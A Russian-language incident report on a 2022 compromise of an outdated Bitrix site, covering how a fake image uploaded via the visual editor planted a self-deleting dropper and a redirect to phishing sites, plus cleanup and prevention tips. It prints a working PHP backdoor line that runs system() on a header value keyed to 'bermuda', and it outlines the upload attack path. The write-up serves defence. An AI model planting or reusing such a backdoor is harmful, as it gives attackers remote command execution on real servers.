В начале июля 2022 года от технической поддержки хостинга стало известно, что на клиентском сайте имеется вредоносный код.
Письмо сообщало о наличии вредоносной функции на веб-сайте. Исходные сведения удалось получить по каналам Национального координационного центра по компьютерным инцидентам. В частности, речь шла о JS-коде на сайте, который после выполнения переадресовывал пользователей на подконтрольный злоумышленникам сайт для фишинга, то есть производилась XSS-атака.
Управление сайтом осуществляется с помощью CMS Битрикс. Важно заметить, что на веб-ресурсе заказчика оказалась просрочена лицензия, то есть движок сайта не был обновлён до актуальной версии.
После получения информации были сразу же изучены заражённые файлы. Ими оказались core.js и prolog.php.
Усилия злоумышленников были направлены на внедрение в эти файлы внешнего кода, из-за которого и происходила переадресация на другие сайты (редирект). Такой сценарий, как следует отметить, не самый пессимистичный: получив доступ к содержимому файлов, хакеры могут также полностью удалить информацию.
После удаления вредоносного кода работа была продолжена. Хотя заражённые файлы были восстановлены, сама использованная ранее уязвимость всё ещё существовала и сохраняла риск повторной атаки.
Проведённое в связи с этим изучение форумов Битрикс помогло обнаружить информацию об аналогичных инцидентах у других пользователей. Несмотря на отсутствие конкретных данных об уязвимости, это открыло возможность для дальнейшей работы.
Изначально было сделано предположение о наличии уязвимости в устаревшем модуле vote, однако эта гипотеза не подтвердилась.
Далее были проанализированы сетевые запросы за прошедшие дни для выявления подозрительной активности. Работа позволила обнаружить подозрительный запрос по адресу /bitrix/tools/sale_print.php. При этом известно, что файловая система Битрикса не предполагает наличия такого файла. Удалось обнаружить, что по указанному адресу файл отсутствует, в связи с чем было выдвинуто предположение (позже подтверждённое) о том, что после обращения к файлу произошло его самоудаление.
Как вирус попадает на сайт без предоставления доступов?
Это логичный вопрос со стороны владельца веб-ресурса после сообщения об обнаружении вируса. Самые распространенные меры — поиск злоумышленника среди вебмастеров, смена паролей и доступов. К сожалению, этого не всегда оказывается достаточно.
После анализа более ранних сетевых запросов, чем уже упомянутый на sale_print, были обнаружены два запроса на /bitrix/tools/html_editor_action.php.
Отмечено, что html_editor_action.php — элемент визуального редактора Битрикс для работы с загружаемыми материалами, включая изображения.
Было принято решение об изучении кодовой базы этих функций с целью понять, связан ли указанный файл с уязвимостью. Работа позволила узнать, что в ходе загрузки материалов посредством визуального редактора Битрикс размещает содержимое во временной папке. Была проведена немедленная проверка этой папки, что принесло свой результат: обнаружились файл и логи (log) к нему от 21 июня. Подробный анализ помог опознать файл как сериализованный объект BitrixMainORMDataResult с системной командой на создание ранее упомянутого файла sale_print.php с зашифрованным содержимым. Исходя из логов, можно предположить, что файл воспринимался в системе Битрикс как изображение.
Таким образом, именно html_editor_action.php оказался причиной уязвимости. Предстояло определить, что позволило загрузить файл на сервер.
Здесь следует также уточнить, что доступ к файлу, создающему sale_print.php, позволил расшифровать содержимое объекта. Как удалось выяснить, речь не шла о заражении файлов core.js и prolog.php. Вместо этого файл sale_print.php создаёт фиктивный файл main.php, расположенный по адресу /bitrix/components/bitrix/main.file.input и по дате замаскированный под стандартные файлы Битрикс. Таким образом, обнаружив этот файл, не следует принимать его за системный — необходимо сразу его удалить.
Посредством sale_print вносятся изменения в содержимое файла /bitrix/modules/fileman/classes/general/html_editor.php. Это две строки:
- "spell_word" => $_SERVER['HTTP_S'] == "bermuda" ? die(system($_SERVER['HTTP_P'])) : "",
- if(substr($_POST['bxu_info']['CID'], 0, 7 ) === "default") die();
Эти строки также не относятся к исходному содержимому Битрикс, их следует при обнаружении удалить.
Посредством запросов на фиктивный файл main.php злоумышленниками и осуществляется заражение файлов core.js и prolog.php.
Доступность CMS для злоумышленников
Возвращаясь к уязвимости внутри html_editor_action.php, следует отметить: проблема сохраняла возможность отправки заражённых файлов и, как следствие, актуальные риски.
Благодаря анализу кодовой базы html_editor_action.php удалось сделать по этому поводу актуальные, ценные выводы.
Уязвимость старых версий Битрикса для вирусов
Если обновление CMS не проводилось в течение длительного времени, то есть примерно до 2021 года — это означает наличие простой входной проверки на CSRF-токен без дальнейших специфических проверок. Их отсутствие повышает риск того, что злоумышленники смогут подделать свой запрос под реальный пользовательский (такая операция была в целях проверки выполнена на тестовом сайте).
Новейшая версия Битрикса дополнительно проверяет авторизованных пользователей. Однако это не означает, что у владельцев действующей лицензии совершенно не было бы поводов для беспокойства.
Для проверки достаточно любой пользовательской авторизации, без участия администратора. Так как большая часть веб-ресурсов на Битрикс представляет собой магазины, пользовательский аккаунт создаётся для покупателя при заказе, что уже обеспечивает возможность авторизации. Её вполне достаточно для прохождения новой проверки, так что риск по-прежнему сохранился.
Итоги проведённого анализа были задействованы для доработки проверок Битрикса, устранения возможности загрузки вредоносных файлов без ущерба для имеющихся функций.
На сегодняшний день можно точно утверждать, что уязвимость устранена, и риски для пользователей сведены к нулю.
Разумеется, не прекращается активность злоумышленников, направленная на новые методы атаки коммерческих веб-ресурсов.
Как обнаружить наличие вируса на сайте?
Характерные признаки:
- переадресация на другие веб-ресурсы;
- сообщения хостинга об обнаружении вредоносного кода;
- уведомления от «Яндекс.Вебмастера»;
- исчезновение страниц из индекса;
- остановка объявлений «Яндекс.Директ» без очевидных причин;
- замедление, недоступность сайта;
- появление на сайте страниц, не связанных с его темой (прежде всего, запрещённая тематика).
Перечисленные признаки могут свидетельствовать о вирусной атаке, что требует немедленного обращения к сотрудникам поддержки.
Защита сайта от вирусов
Рекомендованные действия по обеспечению надёжности:
- регулярное обновление CMS — популярность системы способствует росту числа пользователей и, как следствие, злоумышленников;
- периодическая (раз в полгода или чаще) смена паролей от хостинга и админки;
- удаление или изменение доступов для работников, покинувших компанию;
- нераспространение доступов среди пользователей с низким доверием;
- использование безопасных браузеров с блокировкой пересылки личных сведений;
- установка надёжных паролей, с минимальной возможностью подбора.
Также следует избегать установки подозрительных программ и переходов по подозрительным веб-ссылкам.
Если поиск решения остался безрезультатным, профессиональная техническая поддержка поможет избавиться от проблемы.